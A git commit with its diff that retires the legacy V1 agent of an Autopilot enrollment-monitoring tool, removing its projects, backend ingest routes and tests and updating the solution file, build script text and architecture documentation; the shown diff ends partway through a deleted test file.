chore: remove legacy V1 agent and its backend ingest path

The V1 agent line is retired: no new V1 sessions since 2026-05-09, only
orphaned straggler traffic remained on /api/agent/ingest (last seen
2026-06-29, events for long-cleaned-up sessions). Bootstrap/Intune/CI
have deployed V2-only since the v2 cutover.

Agent:
- Delete AutopilotMonitor.Agent, .Agent.Core, .Agent.Core.Tests
  (projects + sln entries). V2 trio, SummaryDialog, DecisionCore.Tests
  and V2Isolation.targets stay.

Backend:
- Relocate the shared statics/DTOs V2 reused from the V1 partials
  (StampServerFields, SanitizeEventTimestamps, IsMaxLifetimeAgentShutdown,
  RecalculateAppDurations, EventClassification, AppInstallAggregationState)
  into EventIngestProcessor; IngestEventsOutput moves next to
  IngestTelemetryFunction (same namespace, zero ripple).
- Delete IngestEventsFunction (route agent/ingest), BootstrapIngestEvents
  (route bootstrap/ingest), NdjsonParser and their DI registration.
  EventDataNormalizer stays (used by TelemetryPayloadParser).
- Drop both routes from EndpointAccessPolicyCatalog and
  RequestTelemetryMiddleware.TenantHeaderTrustedPaths.
- Retire the V1 update-hash oracle: LatestAgentV1*/LatestBootstrapV1*
  fields + GetAgentLine case 1 (default arm returns empty hashes, so
  stragglers gracefully skip the integrity check; ParseAgentMajor keeps
  its default of 1 on purpose — defaulting to 2 would feed V2 hashes to
  V1 binaries). TableConfigRepository Store+Map updated in lockstep.
- Remove ApiEndpoints.IngestEvents/.BootstrapIngestEvents constants.

Tests: NdjsonParserTests deleted; timestamp/critical-path/max-lifetime
tests repointed to EventIngestProcessor; the two NDJSON pipeline tests
removed (coverage retained by direct-list siblings); catalog/no-store
InlineData rows updated.

Docs: architecture.md (endpoint tables, ingest flow diagram, solution
layout, test matrix), web SectionAgentInternals endpoint tables,
build.ps1 help text.

Azure: no config change needed — /api/agent is not in the client-cert
exclusion paths (agent/ingest was always cert-enforced) and the
/api/bootstrap prefix exclusion remains for the surviving bootstrap
routes (verified via ARM on autopilotmonitor-api).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
Oliver Kieselbach
2026-07-02 08:53:20 +02:00
parent a56ffa68df
commit 9f7b070e80
175 changed files with 372 additions and 41914 deletions
-45
View File
@@ -11,10 +11,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Shared", "
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Agent", "Agent", "{096B6098-F141-7114-B090-72D1899D8853}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core", "src\Agent\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj", "{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent", "src\Agent\AutopilotMonitor.Agent\AutopilotMonitor.Agent.csproj", "{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Backend", "Backend", "{FE360695-3F2B-1049-3887-35FBB5135923}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions", "src\Backend\AutopilotMonitor.Functions\AutopilotMonitor.Functions.csproj", "{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}"
@@ -23,8 +19,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions.
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.DecisionCore", "src\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj", "{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.V2", "src\Agent\AutopilotMonitor.Agent.V2\AutopilotMonitor.Agent.V2.csproj", "{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054}"
@@ -59,30 +53,6 @@ Global
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x64.Build.0 = Release|Any CPU
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.ActiveCfg = Release|Any CPU
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.Build.0 = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.ActiveCfg = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.Build.0 = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.ActiveCfg = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.Build.0 = Debug|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.Build.0 = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.ActiveCfg = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.Build.0 = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.ActiveCfg = Release|Any CPU
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.Build.0 = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.ActiveCfg = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.Build.0 = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.ActiveCfg = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.Build.0 = Debug|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.Build.0 = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.ActiveCfg = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.Build.0 = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.ActiveCfg = Release|Any CPU
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.Build.0 = Release|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|x64.ActiveCfg = Debug|Any CPU
@@ -119,18 +89,6 @@ Global
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|x64.ActiveCfg = Debug|Any CPU
@@ -211,13 +169,10 @@ Global
{C8E42992-5E42-0C2B-DBFE-AA848D06431C} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{A54780AA-B9BD-4575-A935-2C3E0296B405} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
{096B6098-F141-7114-B090-72D1899D8853} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853}
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853}
{FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923}
{E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923}
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853}
{89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853}
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054} = {096B6098-F141-7114-B090-72D1899D8853}
{22CB0E75-793A-4FC9-ADE4-48580BCE6321} = {096B6098-F141-7114-B090-72D1899D8853}
+3 -3
View File
@@ -144,7 +144,7 @@ Write-Host " Build Completed Successfully!" -ForegroundColor Green
Write-Host "============================================" -ForegroundColor Cyan
Write-Host ""
Write-Host "Output locations:" -ForegroundColor White
Write-Host " Agent: src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48\" -ForegroundColor Gray
Write-Host " Agent: src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48\" -ForegroundColor Gray
Write-Host " Functions: src\Backend\AutopilotMonitor.Functions\bin\$Configuration\net8.0\" -ForegroundColor Gray
if ($IncludeWeb) {
@@ -158,9 +158,9 @@ Write-Host " 2. Start Functions: cd src\Backend\AutopilotMonitor.Functions && f
if ($IncludeWeb) {
Write-Host " 3. Start Web UI: cd src\Web\autopilot-monitor-web && npm run dev" -ForegroundColor Gray
Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
}
else {
Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
}
+49 -61
View File
@@ -50,7 +50,7 @@
**Core Data Flow:**
```
Device (Agent) ──NDJSON+gzip──► Azure Functions ──► Azure Table Storage
Device (Agent) ──JSON telemetry+gzip──► Azure Functions ──► Azure Table Storage
│ │
├── SignalR ─────────►│
│ │
@@ -97,9 +97,10 @@ AutopilotMonitor.sln
├── src/
│ ├── Shared/AutopilotMonitor.Shared/ (netstandard2.0)
│ ├── Agent/
│ │ ├── AutopilotMonitor.Agent/ (net48, Exe – entry point)
│ │ ├── AutopilotMonitor.Agent.Core/ (net48, Lib – core logic)
│ │ ├── AutopilotMonitor.Agent.Core.Tests/ (net48, xUnit – agent unit tests)
│ │ ├── AutopilotMonitor.Agent.V2/ (net48, Exe – entry point; output named AutopilotMonitor.Agent.exe)
│ │ ├── AutopilotMonitor.Agent.V2.Core/ (net48, Lib – core logic)
│ │ ├── AutopilotMonitor.Agent.V2.Core.Tests/ (net48, xUnit – agent unit tests)
│ │ ├── AutopilotMonitor.DecisionCore.Tests/ (net48, xUnit – decision engine tests)
│ │ └── AutopilotMonitor.SummaryDialog/ (net48, WPF – enrollment summary UI)
│ ├── Backend/
│ │ ├── AutopilotMonitor.Functions/ (net8.0, Azure Functions v4)
@@ -122,9 +123,10 @@ AutopilotMonitor.sln
**Project References:**
```
Shared ◄── Agent.Core ◄── Agent
◄── Agent.Core.Tests
◄── SummaryDialog
Shared + DecisionCore ◄── Agent.V2.Core ◄── Agent.V2
◄── Agent.V2.Core.Tests
Shared + DecisionCore ◄── DecisionCore.Tests
SummaryDialog (standalone; compiled alongside the agent build)
Shared ◄── Functions ◄── Functions.Tests
Web (independent – communicates via REST + SignalR)
```
@@ -135,7 +137,7 @@ Web (independent – communicates via REST + SignalR)
### Entry Point & Modes
**File:** `src/Agent/AutopilotMonitor.Agent/Program.cs`
**File:** `src/Agent/AutopilotMonitor.Agent.V2/Program.cs`
Four execution modes:
1. **Normal mode** (default) – Main enrollment monitoring loop
@@ -214,29 +216,30 @@ Each implements `IGatherRuleCollector`:
Security enforced by `GatherRuleGuards` (allowed targets) and `DiagnosticsPathGuards` (path validation, respects `UnrestrictedMode`).
### Directory Layout (Agent.Core)
### Directory Layout (Agent.V2.Core)
```
Configuration/ Config loading, remote config service
Diagnostics/ Diagnostics package creation + upload
Logging/ AgentLogger (file + optional console)
Monitoring/
├── Analyzers/ Security checks (LocalAdminAnalyzer, SoftwareInventoryAnalyzer)
├── Collectors/ Data collectors (ESP, Hello, Performance, GatherRules, Diagnostics, Desktop)
│ └── GatherCollectors/ Per-type gather rule collectors
├── Core/ Orchestration (MonitoringService, EventSpool, SessionPersistence, CleanupService)
├── Interop/ P/Invoke declarations (process creation, registry change notifications)
├── Network/ API client, distress/emergency reporters, geo-location, NTP, network metrics
├── Replay/ Log replay for testing/simulation
└── Tracking/ Enrollment state machine, IME parser, script/app tracking, state persistence
Monitoring/ Collectors, trackers, analyzers, gather rule executors
Orchestration/ Decision engine wiring (kernel)
Persistence/ Session/state persistence
Runtime/ Self-updater, lifecycle, watchdog
Security/ Certificate helper, enrollment awaiter, hardware info
SignalAdapters/ Raw observations → typed decision signals
Telemetry/ Telemetry item batching + spool
Termination/ Terminal-outcome classification
Transport/ Backend API client (mTLS cert + hardware headers + bootstrap token)
```
(See `src/Agent/AutopilotMonitor.Agent.V2.Core/README.md` for the authoritative kernel/peripheral map.)
### Event Collection & Upload
1. Collector emits `EnrollmentEvent` → sequence number auto-assigned (thread-safe Interlocked)
2. Event saved to spool as JSON file: `event_{timestamp}_{sequence}.json`
3. FileSystemWatcher triggers debounce timer (configurable `UploadIntervalSeconds`, default 30s)
4. Batch upload: NDJSON + gzip compression, max 100 events per batch
4. Batch upload: JSON `TelemetryItem[]` (Events + Signals + DecisionTransitions) + gzip compression, max 100 events per batch
5. Response handling: `DeviceKillSignal` → self-destruct; `DeviceBlocked` → stop uploads
### Idle Timeout & Lifetime
@@ -289,7 +292,7 @@ Registered in this order:
| Route | Method | Purpose |
|-------|--------|---------|
| `/agent/register-session` | POST | Register new enrollment session |
| `/agent/ingest` | POST | Upload events (NDJSON+gzip) |
| `/agent/telemetry` | POST | Upload telemetry batch (Events + Signals + DecisionTransitions, JSON+gzip) |
| `/agent/config` | GET | Fetch agent configuration |
| `/agent/upload-url` | POST | Get short-lived SAS URL for diagnostics |
| `/agent/error` | POST | Report agent errors |
@@ -303,7 +306,6 @@ Registered in this order:
| `/bootstrap/sessions/{code}` | DELETE | Revoke bootstrap session |
| `/bootstrap/validate/{code}` | GET | Validate bootstrap code (public) |
| `/bootstrap/register-session` | POST | Register via bootstrap token |
| `/bootstrap/ingest` | POST | Ingest via bootstrap token |
| `/bootstrap/config` | POST | Config via bootstrap token |
| `/bootstrap/error` | POST | Error report via bootstrap token |
@@ -397,7 +399,7 @@ Repository pattern via interfaces in `AutopilotMonitor.Shared/DataAccess/`:
### Event Processing Pipeline
```
Agent POST /api/agent/ingest (NDJSON+gzip)
Agent POST /api/agent/telemetry (JSON TelemetryItem[] + gzip)
│
├─ SecurityValidator.ValidateRequestAsync()
│ ├─ Tenant existence & suspension
@@ -409,32 +411,29 @@ Agent POST /api/agent/ingest (NDJSON+gzip)
│
├─ BlockedDeviceService.IsBlockedAsync() → kill/block signal
│
├─ ParseNdjsonGzipRequest() → decompress + parse events
├─ Body size cap → TelemetryPayloadParser (route per TelemetryItem.Kind)
│ ├─ Signal → Signals table (+ optional index-reconcile queue)
│ ├─ DecisionTransition → DecisionTransitions table (+ queue)
│ └─ Event → EventIngestProcessor (below)
│
├─ StampServerFields() → ReceivedAt, TenantId, SessionId
├─ SessionDeletionGuard → 410 Gone while a cascade owns the session
│
├─ EventTimestampValidator → clamp/validate timestamps
│
├─ TableStorageService.StoreEventsBatchAsync()
│
├─ ClassifyEvents()
│ ├─ Extract geo-location
│ ├─ Track app installs → AppInstallSummaries table
│ └─ Detect enrollment completion/failure
│
├─ UpdateSessionStatusAsync() → merge session row
│
├─ RuleEngine.AnalyzeSessionAsync() (on enrollment end)
│ └─ StoreRuleResultAsync() → RuleResults table
│
├─ VulnerabilityCorrelation (on software inventory events)
│
├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
│
└─ SignalR broadcasts:
├─ "eventReceived" → tenant-{tenantId}
├─ "sessionStatusChanged" → tenant-{tenantId}
└─ "ruleResultReceived" → tenant-{tenantId}
└─ EventIngestProcessor.ProcessEventsAsync()
├─ StampServerFields() → ReceivedAt, TenantId, SessionId
├─ EventTimestampValidator → clamp/validate timestamps
├─ TableStorageService.StoreEventsBatchAsync()
├─ ClassifyEvents()
│ ├─ Extract geo-location
│ ├─ Track app installs → AppInstallSummaries table
│ └─ Detect enrollment completion/failure
├─ UpdateSessionStatusAsync() → merge session row
├─ Analyze-on-enrollment-end queue → RuleEngine → RuleResults table
├─ Vulnerability-correlate queue (on software inventory events)
├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
└─ SignalR broadcasts:
├─ "eventReceived" → tenant-{tenantId}
├─ "sessionStatusChanged" → tenant-{tenantId}
└─ "ruleResultReceived" → tenant-{tenantId}
```
---
@@ -1060,7 +1059,6 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
| `DistressValidationTests` | Distress report validation |
| `DistressRateLimitServiceTests` | Distress rate limiting |
| `EventTimestampValidationTests` | Timestamp clamping and validation |
| `NdjsonParserTests` | NDJSON parsing |
| `BuiltInRulesTests` | Built-in rule logic |
| `EndpointPolicyCatalogCompletenessTests` | Ensures every HTTP route has a catalog entry |
| `CrossTenantAccessTests` | Validates tenant-scoped endpoints reject cross-tenant access |
@@ -1069,20 +1067,9 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
| `AuthFunctionTests` | Auth decision logic (roles, MCP access, bootstrap, auto-admin, preview gates) |
| `GetHardwareRejectedFunctionTests` | Hardware rejection aggregation logic |
### Agent Tests (`src/Agent/AutopilotMonitor.Agent.Core.Tests/`)
### Agent Tests (`src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/`, `src/Agent/AutopilotMonitor.DecisionCore.Tests/`)
**Target:** .NET Framework 4.8, xUnit
| Test File | Coverage |
|-----------|---------|
| `DesktopArrivalDetectorTests` | Desktop arrival detection |
| `DiagnosticsPathGuardsTests` | Path guard validation |
| `GatherRuleGuardsTests` | Gather rule path/target guards |
| `AppPackageStateListTests` | App package state tracking |
| `AppPackageStateTests` | Individual package state machine |
| `CmTraceLogParserTests` | CMTrace log format parsing |
| `EnrollmentStatePersistenceTests` | State file persistence |
| `LogFilePositionTrackerTests` | Log file tail position bookmarking |
**Target:** .NET Framework 4.8, xUnit — cover the V2 agent kernel (decision engine, signal adapters, monitoring, transport) and the shared DecisionCore.
---
@@ -1181,7 +1168,8 @@ dotnet build AutopilotMonitor.sln --nologo -v quiet
dotnet test src/Backend/AutopilotMonitor.Functions.Tests/
# Agent tests
dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/
dotnet test src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/
dotnet test src/Agent/AutopilotMonitor.DecisionCore.Tests/
# Web frontend
cd src/Web/autopilot-monitor-web
@@ -1,28 +0,0 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net48</TargetFramework>
<LangVersion>latest</LangVersion>
<IsPackable>false</IsPackable>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Net.Http" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.11.1" />
<PackageReference Include="Moq" Version="4.20.72" />
<PackageReference Include="xunit" Version="2.9.2" />
<PackageReference Include="xunit.runner.visualstudio" Version="2.8.2">
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
<PrivateAssets>all</PrivateAssets>
</PackageReference>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj" />
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
</ItemGroup>
</Project>
@@ -1,40 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
public class AadJoinInfoTests
{
[Theory]
[InlineData("foouser@contoso.onmicrosoft.com", true)]
[InlineData("FOOUSER@CONTOSO.onmicrosoft.com", true)]
[InlineData("FooUser@tenant.com", true)]
[InlineData("autopilot@contoso.onmicrosoft.com", true)]
[InlineData("AutoPilot@tenant.com", true)]
[InlineData("AUTOPILOT@xyz.com", true)]
public void IsPlaceholderUserEmail_KnownPatterns_ReturnsTrue(string email, bool expected)
{
Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
}
[Theory]
[InlineData("alice@contoso.onmicrosoft.com")]
[InlineData("bob.smith@company.com")]
[InlineData("foo@bar.com")]
[InlineData("autopilotadmin@company.com")]
[InlineData("myfoouser@company.com")]
public void IsPlaceholderUserEmail_RealEmails_ReturnsFalse(string email)
{
Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
}
[Theory]
[InlineData(null)]
[InlineData("")]
[InlineData(" ")]
public void IsPlaceholderUserEmail_NullOrEmpty_ReturnsFalse(string email)
{
Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
}
}
}
@@ -1,94 +0,0 @@
using System;
using System.Threading;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using Microsoft.Win32;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Integration-style tests for <see cref="AadJoinWatcher"/>.
/// Uses a temporary HKCU sub-key because the production path is under HKLM\SYSTEM which
/// requires admin privileges. The watcher implementation reads HKLM, so these tests
/// instead assert the observable semantics of <see cref="AadJoinInfo.IsPlaceholderUserEmail"/>
/// and end-to-end placeholder / real-user classification behaviour of the watcher's
/// decision code path that is testable without HKLM writes.
///
/// The full RegNotifyChangeKeyValue flow is validated by the manual syntetic test in
/// the verification section of the plan — it requires a test VM with elevated rights.
/// </summary>
public class AadJoinWatcherTests
{
[Fact]
public void Constructor_NullLogger_Throws()
{
Assert.Throws<ArgumentNullException>(() => new AadJoinWatcher(null));
}
[Fact]
public void Start_MissingRootKey_ArmsRetryTimer_DoesNotThrow()
{
// Running tests under a normal user cannot write HKLM — but Start() must
// gracefully fall back to the retry timer without throwing.
var logger = TestLogger.Instance;
using (var watcher = new AadJoinWatcher(logger))
{
watcher.Start();
// Give the retry timer one tick — we expect no crash, no events.
Thread.Sleep(250);
bool placeholderFired = false;
bool realUserFired = false;
watcher.PlaceholderUserDetected += (s, e) => placeholderFired = true;
watcher.AadUserJoined += (s, e) => realUserFired = true;
Thread.Sleep(250);
Assert.False(placeholderFired);
Assert.False(realUserFired);
}
}
[Fact]
public void Stop_IsIdempotent_MultipleCallsDoNotThrow()
{
var logger = TestLogger.Instance;
var watcher = new AadJoinWatcher(logger);
watcher.Start();
watcher.Stop();
watcher.Stop(); // idempotent
watcher.Dispose();
watcher.Dispose(); // idempotent
}
[Fact]
public void Dispose_AfterStart_StopsCleanly()
{
var logger = TestLogger.Instance;
var watcher = new AadJoinWatcher(logger);
watcher.Start();
watcher.Dispose();
// After Dispose a further Start must throw
Assert.Throws<ObjectDisposedException>(() => watcher.Start());
}
// Delegate to AadJoinInfo-level tests for placeholder-pattern recognition — same
// code path as the watcher uses internally.
[Theory]
[InlineData("foouser@tenant.onmicrosoft.com", true)]
[InlineData("FOOUSER@foo.com", true)]
[InlineData("autopilot@tenant.com", true)]
[InlineData("AutoPilot@tenant.com", true)]
[InlineData("alice@contoso.com", false)]
[InlineData("myfoouser@contoso.com", false)]
[InlineData("", false)]
[InlineData(null, false)]
public void PlaceholderEmailClassification_MatchesAadJoinInfoRule(string email, bool expected)
{
Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
}
}
}
@@ -1,132 +0,0 @@
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests user exclusion logic for desktop arrival detection.
/// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival,
/// real users being incorrectly filtered.
/// </summary>
public class DesktopArrivalDetectorTests
{
// -- System and service accounts must be excluded --
[Fact]
public void IsExcludedUser_System_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
}
[Fact]
public void IsExcludedUser_DomainBackslashSystem_True()
{
// Domain prefix must be stripped before checking
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM"));
}
[Fact]
public void IsExcludedUser_LocalService_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE"));
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE"));
}
[Fact]
public void IsExcludedUser_NetworkService_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE"));
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE"));
}
// -- DefaultUser* pattern (OOBE temp accounts) --
[Fact]
public void IsExcludedUser_DefaultUser0_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
}
[Fact]
public void IsExcludedUser_DefaultUser1_True()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1"));
}
[Fact]
public void IsExcludedUser_DefaultUserAnyNumber_True()
{
// StartsWith("DefaultUser") should match any suffix
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99"));
}
[Fact]
public void IsExcludedUser_DefaultUser_CaseInsensitive()
{
Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0"));
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
}
// -- Real users must NOT be excluded --
[Fact]
public void IsExcludedUser_RealUser_False()
{
Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe"));
}
[Fact]
public void IsExcludedUser_LocalRealUser_False()
{
Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe"));
}
[Fact]
public void IsExcludedUser_AzureAdUser_False()
{
